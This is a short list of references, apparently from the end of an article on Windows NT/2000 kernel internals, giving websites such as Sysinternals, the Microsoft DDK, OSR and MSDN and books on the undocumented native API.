[1] Sysinternals - www.sysinternals.com
[2] Microsoft DDK - www.microsoft.com/DDK/
[3] unofficial ntifs.h - www.insidewindows.info
[4] www.chapeaux-noirs.org/win/
[5] Intel IA-32 Software Developper manual - developer.intel.com
[6] Pedestal Software - www.pedestalsoftware.com
[7] BindView's RAZOR - razor.bindview.com
[8] Open Systems Resources - www.osr.com
[9] MSDN - msdn.microsoft.com

books:
  * Undocumented Windows 2000 Secrets, A Programmer's Cookbook
    (http://www.orgon.com/w2k_internals/)
  * Inside Microsoft Windows 2000, Third Edition
    (http://www.microsoft.com/mspress/books/4354.asp)
  * Windows NT/2000 Native API Reference

本文地址:http://com.8s8s.com/it/it25462.htm